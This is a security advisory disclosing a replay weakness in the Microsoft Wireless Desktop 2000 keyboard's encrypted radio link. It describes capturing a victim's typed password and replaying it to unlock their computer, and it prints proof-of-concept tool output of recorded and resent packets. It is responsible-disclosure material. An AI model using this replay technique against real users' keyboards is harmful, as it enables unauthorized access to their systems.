Advisory ID: SYSS-2016-043
Product: Microsoft Wireless Desktop 2000
Manufacturer: Microsoft
Affected Version(s): Ver. A
Tested Version(s): Ver. A
Vulnerability Type: Cryptographic Issues (CWE-310)
                    Insufficient Protection against Replay Attacks
Risk Level: Medium
Solution Status: Open
Manufacturer Notification: 2016-05-19
Solution Date: -
Public Disclosure: 2016-10-05
CVE Reference: Not yet assigned
Authors of Advisory: Matthias Deeg and Gerhard Klostermeier (SySS GmbH)

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Overview:

Microsoft Wireless Desktop 2000 is a wireless desktop set consisting of
a mouse and a keyboard.

The manufacturer describes the product as follows (see [1]):

"This keyboard features Advanced Encryption Standard (AES) technology,
which is designed to help protect your information by encrypting your
keystrokes. Each keyboard is permanently paired with its receiver at
the factory - no key information is ever shared over the air."

Due to an insecure implementation of the encrypted data communication,
the wireless keyboard Microsoft Wireless Desktop 2000 is prone to replay
attacks with certain restrictions.

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Vulnerability Details:

The SySS GmbH found out that the Microsoft Wireless Desktop 2000
keyboard is prone to replay attacks with some limitations.

An attacker can sniff the AES-encrypted data packets of the 2.4 GHz
radio communication sent by the keyboard to the receiver (USB dongle)
and replay the recorded communication data causing the same effect as
the original data communication.

According to test results of the SySS GmbH, the Microsoft Wireless
Desktop 2000 keyboard and its USB dongle have implemented a replay
protection based on an incrementing packet counter. But the used
window for valid packet counter values is large enough to perform
a replay attack if there were not too many data packets caused by
further keystrokes between the attacker's recording and the playback.

A replay attack against the keyboard can, for example, be used to gain
unauthorized access to a computer system that is operated with a
vulnerable Microsoft Wireless Desktop 2000 keyboard. In this attack
scenario, an attacker records the radio communication during a
password-based user authentication of his or her victim, for instance
during a login to the operating system or during unlocking a screen
lock. At an opportune moment when the victim's computer system is
unattended, the attacker approaches the victim's computer and replays
the previously recorded AES-encrypted data communication for the
password-based user authentication and by this gets unauthorized access
to the victim's system.

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Proof of Concept (PoC):

The SySS GmbH could successfully perform a replay attack as described
in the previous section using the USB radio dongle Crazyradio PA (see
[2]) and a simple proof-of-concept software tool.

The following output exemplarily illustrates a replay attack with the
recorded data packets for the word "test".

# python simple_replay.py
Simple nRF24 Replay Tool v0.1 by Matthias Deeg - SySS GmbH (c) 2016
[*] Configure radio
[*] Start recording. Press <CTRL+C> to stop recording ...
[+] Received data: 099816019c49e8e3d7004fb2c6d1c999c5cdd0d6
[+] Received data: 099816019c49e8e3d7004fb2c6d1c999c5cdd0d6
[+] Received data: 083816016234008e
[+] Received data: 083816016234008e
[+] Received data: 099816016ae20e05e28d725888c4ede685f918e7
[+] Received data: 099816016ae20e05e28d725888c4ede685f918e7
[+] Received data: 09981601896c8f035a7a800fcf0a5ba58be156e4
[+] Received data: 09981601896c8f035a7a800fcf0a5ba58be156e4
[+] Received data: 0838160164340088
[+] Received data: 0838160164340088
[+] Received data: 099816019703529705956290664c0cda94ab28b6
[+] Received data: 099816019703529705956290664c0cda94ab28b6
[+] Received data: 0998160168690f3817261c9e068577dd450a245a
[+] Received data: 0998160168690f3817261c9e068577dd450a245a
[+] Received data: 083816016634008a
[+] Received data: 083816016634008a
[+] Received data: 083816016634008a
[+] Received data: 083816016634008a
[+] Received data: 09981601653e89ebf7499ce2b7f962e9da48c5f4
[+] Received data: 09981601653e89ebf7499ce2b7f962e9da48c5f4
[+] Received data: 09981601f7612ae3b196b5767ab0a4dd615651e2
[+] Received data: 0838160168340084
[+] Received data: 0838160168340084
[+] Received data: 09981601db67b32134efa3fefd8b01efb124581d
[+] Received data: 09981601db67b32134efa3fefd8b01efb124581d
^C
[*] Stop recording
[*] Press <ENTER> to replay the recorded data packets or <CTRL+C> to
quit ...
[+] Send data: 099816019c49e8e3d7004fb2c6d1c999c5cdd0d6
[+] Send data: 099816019c49e8e3d7004fb2c6d1c999c5cdd0d6
[+] Send data: 083816016234008e
[+] Send data: 083816016234008e
[+] Send data: 099816016ae20e05e28d725888c4ede685f918e7
[+] Send data: 099816016ae20e05e28d725888c4ede685f918e7
[+] Send data: 09981601896c8f035a7a800fcf0a5ba58be156e4
[+] Send data: 09981601896c8f035a7a800fcf0a5ba58be156e4
[+] Send data: 0838160164340088
[+] Send data: 0838160164340088
[+] Send data: 099816019703529705956290664c0cda94ab28b6
[+] Send data: 099816019703529705956290664c0cda94ab28b6
[+] Send data: 0998160168690f3817261c9e068577dd450a245a
[+] Send data: 0998160168690f3817261c9e068577dd450a245a
[+] Send data: 083816016634008a
[+] Send data: 083816016634008a
[+] Send data: 083816016634008a
[+] Send data: 083816016634008a
[+] Send data: 09981601653e89ebf7499ce2b7f962e9da48c5f4
[+] Send data: 09981601653e89ebf7499ce2b7f962e9da48c5f4
[+] Send data: 09981601f7612ae3b196b5767ab0a4dd615651e2
[+] Send data: 0838160168340084
[+] Send data: 0838160168340084
[+] Send data: 09981601db67b32134efa3fefd8b01efb124581d
[+] Send data: 09981601db67b32134efa3fefd8b01efb124581d
[*] Press <ENTER> to replay the recorded data packets or <CTRL+C> to
quit ...^C
[*] Stop replaying
[*] Done.

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Solution:

The SySS GmbH is not aware of a solution for this reported security
vulnerability.

For further information please contact the manufacturer.

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Disclosure Timeline:

2016-05-19: Vulnerability reported to manufacturer
2016-05-19: Manufacturer acknowledges e-mail with SySS security advisory
2016-06-06: E-mail to manufacturer according current status
2016-06-27: Another e-mail to manufacturer according current status
2016-06-27: E-mail from manufacturer requesting further information
2016-06-28: Provided further information and PoC software tool
2016-07-07: E-mail from manufacturer with further information and
            question about intended disclosure
2016-07-08: E-mail to manufacturer concerning the planned responsible
            disclosure
2016-08-04: E-mail from manufacturer concerning limitations of actual
            attacks
2016-10-05: Public release of the security advisory

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References:

[1] Product website for Microsoft Wireless Desktop 2000

https://www.microsoft.com/accessories/en-us/products/keyboards/wireless-desktop-2000/m7j-00001
[2] Product website for Crazyradio PA
    https://www.bitcraze.io/crazyradio-pa/
[3] SySS Security Advisory SYSS-2016-043

https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-043.txt
[4] SySS Responsible Disclosure Policy
    https://www.syss.de/en/responsible-disclosure-policy/

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Credits:

This security vulnerability was found by Matthias Deeg and Gerhard
Klostermeier of the SySS GmbH.

E-Mail: matthias.deeg (at) syss.de
Public Key:
https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Matthias_Deeg.asc
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB

E-Mail: gerhard.klostermeier (at) syss.de
Public Key:
https://www.syss.de/fileadmin/dokumente/PGPKeys/Gerhard_Klostermeier.asc
Key fingerprint = 8A9E 75CC D510 4FF6 8DB5 CC30 3802 3AAB 573E B2E7

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Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.

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Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en